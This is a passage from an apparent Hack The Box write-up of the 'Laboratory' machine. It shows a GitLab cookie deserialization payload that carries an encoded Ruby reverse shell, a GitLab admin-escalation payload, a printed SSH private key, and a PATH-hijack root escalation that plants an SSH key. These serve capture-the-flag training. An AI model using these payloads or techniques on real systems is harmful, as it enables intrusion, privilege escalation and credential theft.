puts cookies[:cookie]The experimentation_subject_id was the following one.
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAbwjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgcnVieSAtcnNvY2tldCAtZSAnZXhpdCBpZiBmb3JrO2M9VENQU29ja2V0Lm5ldygiMTAuMTAuMTUuMTEiLCI4MCIpO3doaWxlKGNtZD1jLmdldHMpO0lPLnBvcGVuKGNtZCwiciIpe3xpb3xjLnByaW50IGlvLnJlYWR9ZW5kJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--cdacd97c583a30a1b33a38e4b4c633be0770e43dPayload 2 : Testing the new payload on the remote machine
I set up a netcat listener on my box.
$> nc -nlvp 80Then I tested locally the RCE.
$> COOKIE="BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAbwjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgcnVieSAtcnNvY2tldCAtZSAnZXhpdCBpZiBmb3JrO2M9VENQU29ja2V0Lm5ldygiMTAuMTAuMTUuMTEiLCI4MCIpO3doaWxlKGNtZD1jLmdldHMpO0lPLnBvcGVuKGNtZCwiciIpe3xpb3xjLnByaW50IGlvLnJlYWR9ZW5kJ2AgKS50b19zKTsgX2VyYm91dAY6BkVGOg5AZW5jb2RpbmdJdToNRW5jb2RpbmcKVVRGLTgGOwpGOhNAZnJvemVuX3N0cmluZzA6DkBmaWxlbmFtZTA6DEBsaW5lbm9pADoMQG1ldGhvZDoLcmVzdWx0OglAdmFySSIMQHJlc3VsdAY7ClQ6EEBkZXByZWNhdG9ySXU6H0FjdGl2ZVN1cHBvcnQ6OkRlcHJlY2F0aW9uAAY7ClQ=--cdacd97c583a30a1b33a38e4b4c633be0770e43d"
$> curl -I -X GET -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=$COOKIE"And I was able to get a remote access my local container.
$> nc -nklvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.10.216 55728
whoami
gitHowever, after digging further, I did not find any information.
Payload 3 : Other options elevate privileges on the Gitlab application
We can go in the application level and try to get access on the application instead of on the system. To do so, 2 quick methods would be to :
- Reset
dexterorsevenpassword with an arbitrary password. It would allow us to impersonate their identity on the Gitlab. However, it is not a stealthy method and in a real case scenario, it would ring a lot of bells. - Use our previous created user in order to elevate its privileges to become admin of the Gitlab.
To reset a user’s password like the one of dexter, we need to execute the following command into the Gitlab-rails console.
user = User.find_by_username('dexter')
user.password = 'YP6LBUGMG15mHA5Ha87k'
user.password_confirmation = 'YP6LBUGMG15mHA5Ha87k'
user.save!To elevate a user to the admin role, the command is the following.
user = User.find_by_username('hophouse')
user.admin = true
user.save!I transformed it into a online payload that could be executed by the server.
echo 'user=User.find_by_username("hophouse");user.admin=true;user.save!' | Gitlab-rails consoleI used the following payload and used my LAB IP at the moment.
request = ActionDispatch::Request.new(Rails.application.env_config)
request.env["action_dispatch.cookies_serializer"] = :marshal
cookies = request.cookie_jar
erb = ERB.new("<%= `echo 'user=User.find_by_username(\"hophouse\");user.admin=true;user.save!' | Gitlab-rails console` %>")
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)
cookies.signed[:cookie] = depr
puts cookies[:cookie]The experimentation_subject_id was the following one.
BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAZwjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAndXNlcj1Vc2VyLmZpbmRfYnlfdXNlcm5hbWUoImhvcGhvdXNlIik7dXNlci5hZG1pbj10cnVlO3VzZXIuc2F2ZSEnIHwgZ2l0bGFiLXJhaWxzIGNvbnNvbGVgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--85f2596e17874c6e23a03bf5be5c8187c840228bThen I sent the payload.
$> COOKIE="BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAZwjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgZWNobyAndXNlcj1Vc2VyLmZpbmRfYnlfdXNlcm5hbWUoImhvcGhvdXNlIik7dXNlci5hZG1pbj10cnVlO3VzZXIuc2F2ZSEnIHwgZ2l0bGFiLXJhaWxzIGNvbnNvbGVgICkudG9fcyk7IF9lcmJvdXQGOgZFRjoOQGVuY29kaW5nSXU6DUVuY29kaW5nClVURi04BjsKRjoTQGZyb3plbl9zdHJpbmcwOg5AZmlsZW5hbWUwOgxAbGluZW5vaQA6DEBtZXRob2Q6C3Jlc3VsdDoJQHZhckkiDEByZXN1bHQGOwpUOhBAZGVwcmVjYXRvckl1Oh9BY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbgAGOwpU--85f2596e17874c6e23a03bf5be5c8187c840228b"
$> curl -I -X GET -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=$COOKIE"And the admin access was granted for this user : 
Gitlab recon
A list of projects with a private repository noted as Confidential were discovered.

I added my user as a maintainer of the project adn the repository was downloaded.
$> tree -a
.
|-- README.md
|-- create_Gitlab.sh
`-- dexter
|-- .ssh
| |-- authorized_keys
| `-- id_rsa
|-- recipe.url
`-- todo.txt
2 directories, 6 filesThe create_Gitlab.sh file contains code to run a docker. It justifies why nothing sensible was found with our previous access.
It looks like an SSH private key is present.
$> cat dexter/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
$> cat dexter/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxl8OPcBJ1vlhLczCOwPz7km+d6VSz7IjbtW4MPs/bWh1J81SAIK2hIT6/yw81oH/EXQJWpAe2eGdZ7qd3FdYfBvfhROh2rqDac6W+05D0hPFJ68NJwz9y0jqHjZ0UGGz7xxb25LE7CUVHhvvQT62/cEzdahaDCle+C4/a5kXhJQ1Yr/x2z1PFhboLVaQALxnbkzse0td/Va5dT/aOfDb1vODM7ikk+8wdTFdXA3zf2MBOBCU2nn25AMFSJxd7Can/klIus49BKQOsRgCckwHh/1E13JsLoS+ZeyBL1+jgsbKFIC4W1PU6OrI5jW7AsZakviNwPEqJ+4Iw8t/mClJAe/DR+rr+EXhKmoziJcMZjunnbB7Qp6TeE/QOpC0S+7EJrvCmfcjW0qw2ZqCdd2oHeQirloRsZIRJthMBS+HjmDDaCTSX7dOw7NZWjCxomrmQLIObjHR+DwF9w+SQp+KL0qc0qyd1cgfSuDRCWU+MAL9kaGyNZJEbj2s/Kh9diu8= root@laboratoryThe private key can be used to try to connect on the box.
$> ssh -i dexter_id_rsa dexter@laboratory.htb
dexter@laboratory:~$ hostname; whoami; ip a
laboratory
dexter
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
link/ether 00:50:56:b9:61:1b brd ff:ff:ff:ff:ff:ff
inet 10.10.10.216/24 brd 10.10.10.255 scope global ens160
valid_lft forever preferred_lft forever
inet6 dead:beef::250:56ff:feb9:611b/64 scope global dynamic mngtmpaddr
valid_lft 86241sec preferred_lft 14241sec
inet6 fe80::250:56ff:feb9:611b/64 scope link
valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:bb:41:86:c6 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:bbff:fe41:86c6/64 scope link
valid_lft forever preferred_lft forever
5: vethf99b0dc@if4: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
link/ether 6a:13:5e:1b:68:93 brd ff:ff:ff:ff:ff:ff link-netnsid 0
inet6 fe80::6813:5eff:fe1b:6893/64 scope link
valid_lft forever preferred_lft foreverFlag
The following flag was retrieved on the machine c6c0333d69c759a78596618d455a7fbb. 
Enumeration as the user dexter
A quick enumeration was done on the machine. At a moment, suid binaries were searched.
dexter@laboratory:~$ find / -perm -4000 -exec ls -lah {} \; 2>/dev/null
-rwsr-xr-x 1 root root 109K Jul 10 2020 /snap/snapd/8542/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 109K Jul 29 2020 /snap/snapd/8790/usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 40K Jan 27 2020 /snap/core/9804/bin/mount
-rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/9804/bin/ping
-rwsr-xr-x 1 root root 44K May 7 2014 /snap/core/9804/bin/ping6
-rwsr-xr-x 1 root root 40K Mar 25 2019 /snap/core/9804/bin/su
-rwsr-xr-x 1 root root 27K Jan 27 2020 /snap/core/9804/bin/umount
[...]
-rwsr-xr-x 1 root dexter 17K Aug 28 2020 /usr/local/bin/docker-securityThe last binary docker-security caught up my eyes because the group owner is dexter.
I decided to take a deeper look at the binary:
dexter@laboratory:~$ cd /usr/local/bin/
dexter@laboratory:/usr/local/bin$ file ./docker-security
./docker-security: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d466f1fb0f54c0274e5d05974e81f19dc1e76602, for GNU/Linux 3.2.0, not strippedI ran a ltrace in order to check the calls from the binary :
dexter@laboratory:/usr/local/bin$ ltrace ./docker-security
setuid(0) = -1
setgid(0) = -1
system("chmod 700 /usr/bin/docker"chmod: changing permission of '/usr/bin/docker': Operation not permitted
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
system("chmod 660 /var/run/docker.sock"chmod: changing permission of '/var/run/docker.sock': Operation not permitted
<no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 256
+++ exited (status 0) +++The setuid function is passed with the argument 0 which is the one of the root user. A call to the function system is done. It is calling the binary chmod. Because the path to chmod is not hardcoded, then the binary will be searched into the PATH of the user running the binary.
A quick Proof-of-Concept (POC) can be done by creating a chmod binary/script and then adding the path where this binary is at the beginning if the PATH environment variable.
dexter@laboratory:/usr/local/bin$ echo '#!/bin/bash' >> /tmp/chmod
dexter@laboratory:/usr/local/bin$ echo '' >> /tmp/chmod
dexter@laboratory:/usr/local/bin$ echo '/bin/whoami >> /tmp/poc' >> /tmp/chmod
dexter@laboratory:/usr/local/bin$ chmod +x /tmp/chmod
dexter@laboratory:/usr/local/bin$
dexter@laboratory:/usr/local/bin$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/snap/bin
dexter@laboratory:/usr/local/bin$ export PATH="/tmp":$PATH
dexter@laboratory:/usr/local/bin$
dexter@laboratory:/usr/local/bin$ ./docker-security
dexter@laboratory:/usr/local/bin$
dexter@laboratory:/usr/local/bin$ ls -lah /tmp/
total 56K
drwxrwxrwt 12 root root 4.0K Apr 5 16:47 .
drwxr-xr-x 20 root root 4.0K Jan 8 16:17 ..
drwxrwxrwt 2 root root 4.0K Apr 5 16:26 .ICE-unix
drwxrwxrwt 2 root root 4.0K Apr 5 16:26 .Test-unix
drwxrwxrwt 2 root root 4.0K Apr 5 16:26 .X11-unix
drwxrwxrwt 2 root root 4.0K Apr 5 16:26 .XIM-unix
drwxrwxrwt 2 root root 4.0K Apr 5 16:26 .font-unix
-rwxr-xr-x 1 dexter dexter 37 Apr 5 16:46 chmod
-rw-r--r-- 1 root root 10 Apr 5 16:47 poc
drwx------ 3 root root 4.0K Apr 5 16:26 systemd-private-6001c63b06a9441ba23cb47d0cd3d13a-apache2.service-dD1APf
drwx------ 3 root root 4.0K Apr 5 16:26 systemd-private-6001c63b06a9441ba23cb47d0cd3d13a-systemd-logind.service-Vko8Gf
drwx------ 3 root root 4.0K Apr 5 16:26 systemd-private-6001c63b06a9441ba23cb47d0cd3d13a-systemd-resolved.service-WuDd4g
drwx------ 3 root root 4.0K Apr 5 16:26 systemd-private-6001c63b06a9441ba23cb47d0cd3d13a-systemd-timesyncd.service-8FHe4f
drwx------ 2 root root 4.0K Apr 5 16:26 vmware-root_860-2722763268
dexter@laboratory:/usr/local/bin$
dexter@laboratory:/usr/local/bin$ cat /tmp/poc
root
rootThe POC file confirmed that we can execute commands through this. It is possible to quickly get a reverse shell with netcat. Because SSH is smoother, I checked if it was possible to log as root through SSH.
dexter@laboratory:/usr/local/bin$ cat /etc/ssh/sshd_config | grep -i permitroot
PermitRootLogin prohibit-password
# the setting of "PermitRootLogin without-password".It looks like it is possible to log as root through SSH with the publickey authentication system. It is then possible to add an arbitrary public key to the authorized_keys file of the .ssh folder into the root directory.
dexter@laboratory:~$ cat /tmp/chmod
#!/bin/bash
echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDEjdCEtlOt0DAmjjMl61djM7gYTPccaBq6bB6rAmuWobwpiuXHqDvRNXCf99JjgOwoylnwCHthiQ7wj2fKh2HXOVcFFd1N8U+g199ZnPB5QHOmAMGKfNKj9Vf8VhTztow279OsIFgtEMcLxj45pNv9HQ+yXqokuw83lmPtcSudEqoMCw0ZU04YTsz7H2I0lz+UIocrgFkObrHSuwrB5lsJLIKyv06DU8H2S9ZV7Nxo9NayaknFziiLA8KoP7YmqM8YEPxGqSw4VU89dl/GbxbuFQsQod/W+QwyX1fu0/4kxASH/3PG/4frYQkOy8xLibrNrFvJLpzne6rpZi7sjsEgatKpCb+1tTZrWy5sSX1LETTZmb/nMNOMHkHecWnv/jFba3dMdIMkYjxn5wVWP4tx4epFxkp8V1GJHe3FytNj68w6pIaTyJUahPT9dCHPiAagLwrq1uOl1SypkcL6sZ9SSGCETfaKfPEDQAbYtHLELkG57LZ5s/I4iLOPrZUWJEM= root@Kali-HTB' >> /root/.ssh/authorized_keys
dexter@laboratory:~$ cd /usr/local/bin/
dexter@laboratory:/usr/local/bin$ export PATH="/tmp":$PATH
dexter@laboratory:/usr/local/bin$ ./docker-securityUsing a custom binary calling the command /bin/bash would have done the same result.
Log in as root
Access can be confirmed by logging into the machine with the root account and the associated private key of the previous public key used.
> ssh root@laboratory.htb
root@laboratory:~# hostname; whoami
laboratory
rootFlag
The flag e91d658ce1d844ec8cdbddd4eeaf1078 can be retrieved on the machine.